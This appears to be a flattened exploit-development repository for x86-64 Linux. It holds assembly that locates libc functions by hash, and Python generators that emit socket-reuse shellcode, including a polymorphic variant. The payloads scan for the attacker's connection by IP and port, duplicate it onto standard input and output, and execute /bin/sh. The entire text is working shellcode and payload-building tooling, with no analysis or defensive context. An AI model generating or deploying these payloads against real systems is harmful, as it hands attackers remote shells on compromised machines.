# 135 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rsi and base pointer in %rbx # # returns a function pointer in %rbp # find_function: push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp pop %rsi pop %rbx pop %rax pop %rdi pop %rdx push %rbp ret _world: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx |
Generators
./generators/fd-reuse-output-formatter.py
#!/usr/bin/python import re print("shellcode_1 = \\") for lin in re.findall(".?"*65, input()): if "\\\\x80\\\\xff\\\\xff\\\\xfe" in lin: tmp = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[0] tmp2 = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[1] print("\"" + tmp + "\"\n") print("shellcode_2 =\\") print("\"" + tmp2 + "\"\\") elif "\\\\xfb\\\\x2d" in lin: tmp = lin.split("\\\\xfb\\\\x2d")[0] tmp2 = lin.split("\\\\xfb\\\\x2d")[1] print("\"" + tmp + "\"\n") print("shellcode_3 =\\") print("\"" + tmp2 + "\"\\") elif lin == "": continue else: print("\"" + lin + "\" \\") |
./generators/socket-reuse-generator.py
#!/usr/bin/python2.7 import re, sys def convert_ip(ip): ip = ip.split('.') new_addr = "" for i in ip: new_addr += "\\x" + hex(0xff ^ int(i))[2:] return new_addr def convert_port(port): port = hex(0xffff ^ int(port))[2:] port1 = port[0:2] port2 = port[2:4] return "\\x" + port1 + "\\x" + port2 shellcode_1 = \ "\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d\\x72\\x04" \ "\\x66\\xff\\xc7\\x74\\xe7\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xea" \ "\\x6a\\x1b\\x59\\xbb" shellcode_2 = "\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xdb\\xb1\\x35\\x66" shellcode_3 = \ "\\xff\\xf7\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xcd\\x50\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \ "\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \ "\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05" if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " <source IP> <source port>") exit() shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 for lin in re.findall(".?"*64, shellcode): if lin != "": print("\"" + lin + "\"") |
./generators/shellcode-generator.py
#!/usr/bin/python2 import os import re import argparse def extract(path): if os.system("as -o %s.o %s.s" % (path, path)) == 1: exit() if os.system("ld -o %s %s.o" % (path, path)) == 1: exit() shellcode = "" for line in os.popen("objdump -d %s" % path).readlines(): for byte in line.split(): if re.match("^[a-f0-9][a-f0-9]$", byte): shellcode += chr(int(byte, 16)) return shellcode if __name__=="__main__": parser = argparse.ArgumentParser() parser.add_argument('--file', required=True) parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)") parser.add_argument('--raw', action='store_true', help="Output in raw format") parser.add_argument('--var', action='store_true', help="Output as a variable") parser.add_argument('--len', action='store_true', help="Output the length") args = parser.parse_args() shellcode = extract(args.file.split('.')[0]) if args.hex: tmp = "" for byte in shellcode: tmp += "\\x%.2x" % ord(byte) print tmp elif args.raw: print shellcode elif args.var: print "char shellcode[] = {" tmp = "" for byte in shellcode: tmp += "\\x%.2x" % ord(byte) for line in re.findall(".?"*64, tmp): if line != "": print("\"" + line + "\" \\") else: parser.print_help() exit() if args.len: print "Length: %d bytes" % len(shellcode) |
./generators/hash-generator.s
.text .globl _start _start: jmp startup calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax ret startup: pop %rax pop %rax pop %rsi xor %rdx, %rdx call calc_hash push %rsi mov %rsp, %rsi mov $0x1, %rax mov $0x1, %rdi mov $0x4, %rdx syscall mov $0x3c, %rax mov $0x0, %rdi syscall |
./generators/poly-socket-reuse-generator.py
#!/usr/bin/python2.7 import re, sys def convert_ip(ip): ip = ip.split('.') new_addr = "" for i in ip: new_addr += "\\x%.2x" % int(i) return new_addr def convert_port(port): port = "%.4x" % int(port) port1 = port[0:2] port2 = port[2:4] return "\\x" + port1 + "\\x" + port2 shellcode_1 = \ "\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48" \ "\\x03\\x4b\\x10\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f" \ "\\x45\\x4c\\x46\\x75\\xf5\\xeb\\x3d\\x68\\x80\\x47\\x6c\\x69\\x5e" \ "\\xff\\xd1\\x48\\x31\\xff\\xff\\xd5\\x59\\x31\\xf6\\xbe\\xf7\\x01" \ "\\xcc\\xf8\\xff\\xd1\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \ "\\x02\\x10\\x48\\x8d\\x72\\x04\\x66\\xff\\xc7\\x74\\xd5\\x48\\x8d" \ "\\x62\\x14\\x48\\x83\\xec\\x20\\x51\\xff\\xd5\\x59\\x84\\xc0\\x75" \ "\\xeb\\xeb\\x02\\xeb\\x57\\x6a\\x1b\\x41\\x58\\xb8" shellcode_2 = "\\x42\\x39\\x04\\x84\\x75\\xd8\\x41\\xb0\\x35\\x66\\xb8\\xfb" shellcode_3 = \ "\\x66\\x42\\x39\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70" \ "\\x5e\\xff\\xd1\\x48\\x31\\xd2\\x52\\x52\\x5e\\x51\\xff\\xd5\\x59" \ "\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbe\\x37\\xbb\\x6b\\xf6\\xff" \ "\\xd1\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62" \ "\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff" \ "\\xd5\\xe8\\x72\\xff\\xff\\xff\\x52\\x48\\x31\\xd2\\x57\\x50\\x53" \ "\\x56\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \ "\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b" \ "\\x5b\\x18\\x48\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01" \ "\\xc6\\x50\\x52\\x52\\x58\\xfc\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84" \ "\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7\\x75\\xdd\\x48\\x03" \ "\\x6c\\x93\\x08\\x5b\\x58\\x5f\\x5a\\xc3" if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " <source IP> <source port>") exit() shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 + "\\x34" print shellcode #for lin in re.findall(".?"*64, shellcode): # if lin != "": # print("\"" + lin + "\"") |